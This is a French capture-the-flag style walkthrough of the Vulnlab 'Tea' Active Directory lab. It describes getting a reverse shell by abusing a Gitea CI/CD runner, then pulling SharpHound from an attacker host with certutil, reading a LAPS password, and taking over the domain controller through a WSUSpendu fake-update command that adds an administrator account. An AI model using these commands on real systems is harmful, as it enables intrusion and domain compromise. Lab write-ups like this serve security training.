Vulnlab - Tea
Synthse
Tea est une chaine Active Directory contenant 2 machines à compromettre. L’accès initial ce fait en exploitant un runner CI/CD sur une instance Gitea et la compromission total du domaine est possible grace à la connexion WSUS du controleur du domaine.
Enumération initial
Commencons par un scan nmap des deux machines.
Il semble qu’on ait un controleur de domaine qui n’est pas derrière un firewall avec une machine hébergeant des services web.
On peut récupérer le nom des deux machines avec NetExec :
On ajoute ces derniers dans notre fichier /etc/hosts et on continue l’énumération.
En sachant que notre point d’entrée est souvent le serveur (avant de pivoter sur le controleur de domaine) , on peut commencer par énumérer SMB et les services web qui se trouvent sur sur SRV. Cela dit, j’ai tout de même effectué de l’énumération sur le DC pour être sur de ne rien manquer. Avec les commandes suivantes, j’ai recherché des SIDs bruteforceables, un accès aux partages SMB et la possibilité de s’authentifier en anonyme en ldap :
1 | smbclient -L 10.10.211.133 -N |
Aucune des commandes ne renvoie d’information, on peut donc en déduire que l’on doit accéder à SRV avant de pivoter sur le controleur de domaine.
Enumération des applications web de SRV
On a deux services web sur le serveur (ports 80 et 3000) et la signature SMB est désactivée.
Concernant les partages SMB, il semble que l’on ne puisse pas récupérer d’information sans compte :
On commence alors à énumérer les services web. A premiere vue, le premier serveur web est juste un serveur web IIS :
Sur le port 3000, il y’a une instance gitea :
A ce stade, on a pas d’identifiants afin d’accéder à un eventuel dépôt privé. Cependant, on peut remarquer qu’il est possible de créer un compte. Ainsi, en créeant un faux compte, on peut s’authentifier :
En revanche, on remarque rapidement que l’on ne peut récuperer aucune information de l’instance. En effet, il n’y a aucun dépôt n’est accessible et le seul utilisateur qui a accès à l’application est l’administrateur avec l’adresse mail [email protected].
Même si aucun dépôt n’est accessible, on peut tout de même en créer en cliquant sur le + à coté de notre photo de profil. Ainsi, on peut créer un dépôt vide :
Accés initial avec l’exploitation d’un Runner CI/CD
A ce stade, il semple qu’il y’a rien que l’on puisse faire. On a accès à un dépôt vide que l’on a créer mais est ce qu’il y’a un moyen de l’exploiter ?
Il existe une méthode que l’on peut exploiter qui repose sur une configuration que nous pouvons activer manuellement dans notre dépôt.
Les CI/CD runners sont des insitances de build intégrées qui permettent essentiellement à un développeur web de construire et déployer une application à partir d’un fichier YAML dans un processus de plusieurs étapes. Ce fonctionnement est généralement similaire dans les différentes plateformes GIT compatibles, comme Gitea et GitLab.
De manière assez simple, ces runners exécutent des tâches définies dans un fichier de configuration (en général au format YAML). Ce qui est intéressant, c’est qu’ils permettent l’exécution de commandes shell directement sur la machine hôte à condition qu’ils soient initialisés sur l’instance elle-même.
Pour des applications comme Gitlab, cela peut être un plus compliqué si l’on n’a pas déja un accès à la machine hôte. En revanche, dans le cas de Gitea, il existe un moyen de procéder si les pipelines CI/CD sont configurés pour s’exécuter au sein même de l’instance Gitea.
Pour commencer, il faut d’abord activer la configuration des actions du dépôt, afin de pouvoir pousser notre dépôt et le faire exécuter immédiatement dans le pipeline. Cette option se trouve dans les paramètres du dépôt que l’on a créé.
On doit ensuite mettre en place notre fichier de configuration YAML pour exécuter des commandes shell.
On peut créer un fichier de configuration depuis la page principale de notre dépôt. Le chemin du fichier doit être construit de cette maniere : .gitea/workflows/NOM.yaml .
Avec une simple commande PowerShell de revshells.com. On peut récupérer un reverse shell :
Enumération du domaine
Comme on a compromis une machine du domaine, on peut ensuite utiliser SharpHound pour récupérer les informations du domaine et les lire avec BloodHound Cela nous permettra d’avoir des chemins potentiels pour compromettre le domaine.
Pour ce faire, on commence par transférer sharphound :
1 | certutil -urlcache -split -f http://10.8.6.80:8000/SharpHound.exe |
Puis on l’execute :
On peut ensuite transférer les fichiers en montant un serveur smb avec la commande suivante :
1 | impacket-smbserver -smb2support smb share/ -username chemse -password Password123@ |
Puis, en montant le partage sur notre machine, on peut transférer le fichier :
1 | cmdkey /add:10.8.6.80 /user:chemse /pass:Password123@ |
En revanche, après analyse du graphe, aucun chemin ne semble exploitable.
Lecture du mot de passe LAPS
En listant le répértoire racine avec la commande ci dessous, on découvre un dossier caché _install :
1 | ls -Force |
On découvre dans ce dossier que LAPS est installé sur cette machine. LAPS (Local Administration Password Solution) est une solution Microsoft qui permet de gérer de maniere automatique les mots de passe des comptes administrateur local des machines du domaine en stockant ces derniers dans un attribut de l’objet ordinateur. Cela permet notamment d’assurer une rotation de mot de passe régulière avec des mots de passe fort et permet aux administrateurs de centraliser la gestion des comptes administrateurs locaux.
Le droit de lire le mot de passe de LAPS peut être attribué à n’importe quel utilisateur du domaine. Normalement, la liste des utilisateurs ayant ce droit est remonté par BloodHound mais comme LAPSv2 est utilisé ici, ce n’est pas le cas. AInsi, pour tester si l’utilisateur que l’on vient de compromettre posséde ced droit, on peut utiliser le module LAPSToolkit (https://github.com/leoloobeek/LAPSToolkit)
1 | Import-Module .\LAPSToolkit.ps1 Get-LapsADPassword -Identity srv -AsPlainText |
On obtient alors le mot de passe du compte administrateur local :
Compromission du domaine avec WSUS
Maitenant que l’on a compromis SRV, on peut tenter de voir s’il y’a un moyen de compromettre le domaine en exploitant ce serveur.
Lors de l’énumération du répertoire C: précédente, on peut remarquer le dossier WSUS-Updates qui n’est pas un répertoire courant pour une machine normale. Cela peut nous laisser pensser qu’une instance WSUS s’execute sur la machine que l’on controle.
WSUS (Windows Server Update Services) est une application Windows qui permet à un serveur de distribuer des mises à jour Windows à des machines du domaine. Il est également possible d’attacher des commandes Powershell aux mises à jour déployer afin d’automatiser certaines tâches. Les commandes seront alors exécuter en tant qu’administrateur sur les machines qui recoivent les mises à jour. Ainsi, on peut exploiter cela pour compromettre le domaine.
Pour commencer, on peut commencer par vérifier si WSUS est bien installé :
1 | Get-WindowsFeature -Name UpdateServices, UpdateServices-WidDatabase, UpdateServices-Services, UpdateServices-UI | Where-Object { $_.Installed -eq $true } |
On peut aussi récupérer la liste des machines qui peuvent recevoir les mise à jour de WSUS :
1 | $wsus = Get-WsusServer -Name "127.0.0.1" -Port 8530; $wsus.GetComputerTargets() |
On remarque alors que le DC recoit les mise à jour de WSUS. Ainsi, on peut exploiter cela avec des outils comme WSUSpendu ou SharpWSUS. Ces outils permettent de distribuer de fausses mise à jour Windows en attanchant de fausses commandes Powershell à ces dernieres.
Pour ce faire, on va distribuer une fausse mise à jour de PsExec qui est un utilitaire de confiance signé par Windows.
1 | .\WSUSpendu.ps1 -Inject -PayloadFile C:\_install\PsExec64.exe -PayloadArgs '-accepteula -s -d cmd.exe /c "net user chemse Password123@ /add && net localgroup administrators chemse /add"' -ComputerName dc.tea.vl |
Par la suite, en attendant environ 5 minutes, on parvient à compromettre le domaine :